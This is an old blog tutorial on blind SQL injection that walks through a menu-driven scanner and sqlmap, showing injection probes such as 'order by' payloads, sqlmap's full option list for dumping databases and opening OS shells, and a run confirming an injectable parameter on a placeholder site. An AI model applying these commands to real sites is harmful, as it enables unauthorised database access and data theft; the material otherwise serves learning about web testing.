Thursday, April 01, 2010

Blind SQL Injection: Simple and Easy Method Using Tools


Finding Vulnerable URL & Parameter

Before you can perform Blind SQL Injection testing, you must find a vulnerable URL or path from the website where you can inject malicious code or character to the vulnerable parameter on the website. You need to find out why your website is vulnerable to Blind SQL injection before you can perform SQL injection attack to the vulnerable parameter. To find a vulnerable URL path, you can use hackinganyway.py to find possible Blind SQL injection:

Step 1: You must run hackinganyway.py python script. Enter 1 for this option:
############################################
 # PENETRATION TESTING FRAMEWORK PRE RELEASE# 
 # Copyright (C) 2009 By Ashikali                                 #
 # HACKING ANYWAY FRAMEWORK V 1.0                   #  
 # General Menu                                                           #
 # Ashikali1208 [at]yahoo[dot]com                                #
 # www.Ashikali.com                                                    #
 # GNU General Public License                                      #
 ############################################
 Enter 1 For Let Me In Framwork
 Enter 2 For View Special Thanks Page
 Enter 3 For Download Resource
 Enter 4 For About This Frameworks
 Enter 5 For Credit Page
 Enter 6 For Exit Completely
 Enter Your Choice Here: 1

Step 2: Select 4 if you want to use proxy option.
################################################
#    PENETRATION TESTING FRAMEWORK PRE RELEASE         #
#    Copyright (C) 2009 By Ashikali                                          #
#    HACKING ANYWAY FRAMEWORK V 1.0                            #
#    PROXY SECTION                                                                #
#    Ashikali1208[at]yahoo[dot]com                                          #
#    www.Ashikali.com                                                             #
################################################
Do You want To Use Proxy??
Enter 1 For Enter In Main Menu With This Proxy
Enter 2 For Get The Proxy
Enter 3 For Taste The Proxy
Enter 4 For Load The Proxy
Enter 5 For Remove Proxy
Enter 6 For Change Proxy
Enter 7 For Help Of This Task
Enter 8 For Exit Fom Current Menu
Enter 9 For Exit Completely
Enter Your Choice Here: 4
Step 3: Enter proxy address and port.
Enter the Proxy Address Here: 127.0.0.1
Enter the Port Here: 3128
[+] Testing Proxy...
[-] Proxy: 127.0.0.1:3128 Successfully Loaded
Process Done Please Press Any key To Go Back In Previous Menu...

Step 4: Select 1 option to go to Main Menu
 #################################################
 #    PENETRATION TESTING FRAMEWORK PRE RELEASE         #
 #    Copyright (C) 2009 By Ashikali                                         #
 #    HACKING ANYWAY FRAMEWORK V 1.0                            #
 #    PROXY SECTION                                                                #
 #    Ashikali1208 [at] yahoo [dot] com                                      #
 #    www.Ashikali.com                                                             #
 #    GNU General Public License                                               #
 #################################################
 Do You want To Use Proxy ??
 Enter 1 For Enter In Main Menu With This Proxy
 Enter 2 For Get The Proxy
 Enter 3 For Taste The Proxy
 Enter 4 For Load The Proxy
 Enter 5 For Remove Proxy
 Enter 6 For Change Proxy
 Enter 7 For Help Of This Task
 Enter 8 For Exit Fom Current Menu
 Enter 9 For Exit Completely
 Enter Your Choice Here: 1

Step 5: Select option 2 for Evaluating the Vulnerability of Target
 ################################################
 #  PENETRATION TESTING FRAMEWORK PRE RELEASE          #
 #  Copyright (C) 2009 By Ashikali                                           #
 #  HACKING ANYWAY FRAMEWORK V 1.0                             #
 #  Main Menu                                                                          #
 #  Ashikali1208[at]yahoo[dot]com                                           #
 #  www.Ashikali.com                                                              #
 #  GNU General Public License                                                #
 ################################################
 Enter 1 For Gathering Basic Information Of Target
 Enter 2 For Evaluating The vulnerability Of Target
 Enter 3 For Brute Forcing To The Target
 Enter 4 For Encryption
 Enter 5 For Attacking
 Enter 6 For Supported Tools
 Enter 7 For Help Or Detail
 Enter 8 For Changing, Removing Proxy Or For Exit From Current Menu
 Enter 9 For Exit Completly
 NOTE:- Currently You Are Using Proxy 127.0.0.1:3128
 Enter Your Choice Here : 2
Step 6: Select option 3 to find Blind SQL injection from a website.
 ################################################
 #  PENETRATION TESTING FRAMEWORK PRE RELEASE          #
 #  Copyright (C) 2009 By Ashikali                                           #
 #  WEB APPLICATION SCANNING                                           #
 #  Ashikali1208[at]yahoo[dot]com                                           #
 #  www.Ashikali.com                                                              #
 #  GNU General Public License                                                #
 ################################################
 Enter 1 For Port Scanning
 Enter 2 For Finding SQL Injection From Website
 Enter 3 For Finding Blind Injection From Website
 Enter 4 For Finding Local File Includation From Website
 Enter 5 For Finding Remote File Includation From Website
 Enter 6 For Finding Cross Site Scripting From Website
 Enter 7 For CGI Scanning
 Enter 8 For Help Of This Task
 Enter 9 for for exit from Current menu
 Enter 10 For Exit Completly
 NOTE:- Currently You Are Using Proxy 127.0.0.1:3128
 Enter which op u wana perform : 3

Step 7: Enter the website name that you want to test.
            Enter Your Site Name Here: www.mywebsite.com
If Web Identify Sucsessfully Its Will logged at webscan.txt you May check the log after scanning finished
Woot Woot Massage will Idntify That Web Is Vulnarable
[-]Saving response length for blind sqli at:http://www.mywebsite.com/viewnews.php?pageid=82+order+by+1--
[-]Saving response length for blind sqli at: http://www.mywebsite.com/viewnews.php? pageid=82+order+by+300--
[+]W00t !! Found Possible Blind sqli Bug at: http://www.mywebsite.com/viewnews.php? pageid=82+order+by+300--
[+]Possible server's hole saved at webscan.txt
[-]Saving response length for blind sqli at: http://www.mywebsite.com/news3.php? pageid=118+order+by+300--
[+]W00t !! Found Possible Blind sqli Bug at:http://www.mywebsite.com/news3.php
?pageid=118+order+by+300--
[+]Possible server's hole saved at webscan.txt
[-]Saving response length for blind sqli at: http://www.mywebsite.com/news2.php? pageid=39+order+by+1--
[+]W00t !! Found Possible Blind sqli Bug at:http://www.mywebsite.com/news2.php
?pageid=39+order+by+300--
[+]Possible server's hole saved at webscan.txt
        Press Any key For Going Back...

Step 8: Open file webscan.txt. The results from webscan.txt file shows some possible Blind SQLi
[+]W00t!!Found Possible Blind sqli Bug at: http://www.mywebsite.com/viewnews.php?
pageid=82+order+by+300--
[+]W00t!!Found Possible Blind sqli Bug at: http://www.mywebsite.com/news3.php? pageid=118+order+by+300--

 

Testing Vulnerable Parameter:
To test a vulnerable parameter using automated tools, you can use some tools such as sqlmap, bsqlbf-v2, darkjumperv5.7 and other tools. To test vulnerable parameter for BlindSQL injection, I’m using sqlmap.py to test the targeted URL above. You must understand and know how to use sqlmap.py tool. If you do not understand how to use it, you can refer to the Help menu that built-in together with this tool (Use sqlmap.py –h  command to see Help menu)

E:\Izhar\Tool\SQL Injection\sqlmap-0.7>sqlmap.py -h
    sqlmap/0.7
    by Bernardo Damele A. G.
Usage: E:\Izhar\Tool\SQL Injection\sqlmap-0.7\sqlmap.py [options]
Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v VERBOSE            Verbosity level: 0-5 (default 1)
Target:
    At least one of these options has to be specified to set the source to
    get target urls from.
    -u URL, --url=URL   Target url
    -l LIST             Parse targets from Burp or WebScarab logs
    -g GOOGLEDORK       Process Google dork results as target urls
    -c CONFIGFILE       Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target url.
    --method=METHOD     HTTP method, GET or POST (default GET)
    --data=DATA         Data string to be sent through POST
    --cookie=COOKIE     HTTP Cookie header
    --referer=REFERER   HTTP Referer header
    --user-agent=AGENT  HTTP User-Agent header
    -a USERAGENTSFILE   Load a random HTTP User-Agent header from file
    --headers=HEADERS   Extra HTTP headers newline separated
    --auth-type=ATYPE   HTTP Authentication type (value Basic or Digest)
    --auth-cred=ACRED   HTTP Authentication credentials (value name:password)
    --proxy=PROXY       Use a HTTP proxy to connect to the target url
    --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
Injection:
These options can be used to specify which parameters to test for, provide custom injection payloads and how to parse and compare HTTP responses page content when using the blind SQL injection technique.
    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to this value
    --os=OS             Force back-end DBMS operating system to this value
    --prefix=PREFIX     Injection payload prefix string
    --postfix=POSTFIX   Injection payload postfix string
    --string=STRING     String to match in page when the query is valid
    --regexp=REGEXP     Regexp to match in page when the query is valid
    --excl-str=ESTRING  String to be excluded before comparing page contents
    --excl-reg=EREGEXP  Matches to be excluded before comparing page contents
Techniques:
These options can be used to test for specific SQL injection technique or to use one of them to exploit the affected parameter(s) rather than using the default blind SQL injection technique.
    --stacked-test      Test for stacked queries (multiple statements) support
    --time-test         Test for time based blind SQL injection
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-test        Test for UNION query (inband) SQL injection
    --union-tech=UTECH  Technique to test for UNION query SQL injection
    --union-use         Use the UNION query (inband) SQL injection to retrieve
       the queries output. No need to go blind
Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS user’s password hashes (opt -U)
    --privileges        Enumerate DBMS users privileges (opt -U)
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables (opt -D)
    --columns           Enumerate DBMS database table columns (req -T opt -D)
    --dump              Dump DBMS database table entries (req -T, opt -D, -C)
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table to enumerate
    -C COL              DBMS database table column to enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --start=LIMITSTART  First query output entry to retrieve
    --stop=LIMITSTOP    Last query output entry to retrieve
    --sql-query=QUERY   SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell
File system access:
    These options can be used to access the back-end database management
    system underlying file system.
    --read-file=RFILE   Read a file from the back-end DBMS file system
    --write-file=WFILE  Write a local file on the back-end DBMS file system
    --dest-file=DFILE   Back-end DBMS absolute filepath to write to
Operating system access:
    This option can be used to access the back-end database management
    system underlying operating system.
    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
    --os-smbrelay     One click prompt for an OOB shell, meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          User priv escalation by abusing Windows access tokens
    --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory
Miscellaneous:
    --eta               Display for each output the estimated time of arrival
    --update            Update sqlmap to the latest stable version
    -s SESSIONFILE      Save and resume all data retrieved on a session file
    --save              Save options on a configuration INI file
    --batch             Never ask for user input, use the default behaviour
    --cleanup           Clean up the DBMS by sqlmap specific UDF and tab


There is an injection function in sqlmap.py tool. The injection function in sqlmap.py can be used to specify which parameters to test for, provide custom injection payloads and how to parse and compare HTTP responses page content when using the blind SQL injection technique. For testable parameter, by default sqlmap tests all GET parameters, POST parameters, HTTP Cookie header values and HTTP User-Agent header value for dynamicity and SQL injection vulnerability, but it is possible to manually specify the parameter(s) you want sqlmap to perform tests on comma separated in order to skip dynamicity tests and perform SQL injection test and inject directly only against the provided parameter(s).

The example below shows that I will try to test for one parameter called “pageid” to check whether it is vulnerable or not. If you want to test more than one parameter, you can separate it by comma like this “pageid, menuid, sid”

E:\Izhar\Tool\SQL Injection\sqlmap-0.7>sqlmap.py –u "http://www.mywebsite.com/
viewnews.php?pageid=82" -v 1 -p "pageid"
    sqlmap/0.7
    by Bernardo Damele A. G.
[*] starting at: 17:15:41
[17:15:41] [INFO] testing connection to the target url
[17:15:45] [INFO] testing if the url is stable, wait a few seconds
[17:15:48] [INFO] url is stable
[17:15:48] [INFO] testing sql injection on GET parameter 'pageid' with 0 parenthesis
[17:15:48] [INFO] testing unescaped numeric injection on GET parameter 'pageid'
[17:15:50] [INFO] confirming unescaped numeric injection on GET parameter 'pageid'
[17:15:52] [INFO] GET parameter 'pageid' is unescaped numeric injectable with 0 parenthesis
[17:15:52] [INFO] testing for parenthesis on injectable parameter
[17:15:54] [INFO] the injectable parameter requires 0 parenthesis
[17:15:54] [INFO] testing MySQL
[17:15:55] [INFO] confirming MySQL
[17:15:59] [INFO] retrieved: 6
[17:16:08] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 1.3.41
back-end DBMS: MySQL >= 5.0.0
[*] shutting down at: 17:16:08
E:\Izhar\Tool\SQL Injection\sqlmap-0.7

The result above shows that parameter pageid is vulnerable for injection. You can use the other functions in sqlmap.py to perform Blind SQL injection attack. And also can use darkMYSQLi.py or DarkjumperV5.7. If you want to use darkMYSQLi.py, you can follow my previous tutorial here: http://www.exploit-db.com/download_pdf/11716
But I’m using the other tool called SimpleSQLDumper v5.1 to perform injection attack. 

I will release another article with full details later.

1 comment:

Unknown said...

it's very nice tutorial and also gives a good hacking knowledge, but when i wanna try it to my website to test its vulnerability, i couldn't get the source code of hackinganyway.py, could you send me please the python source code script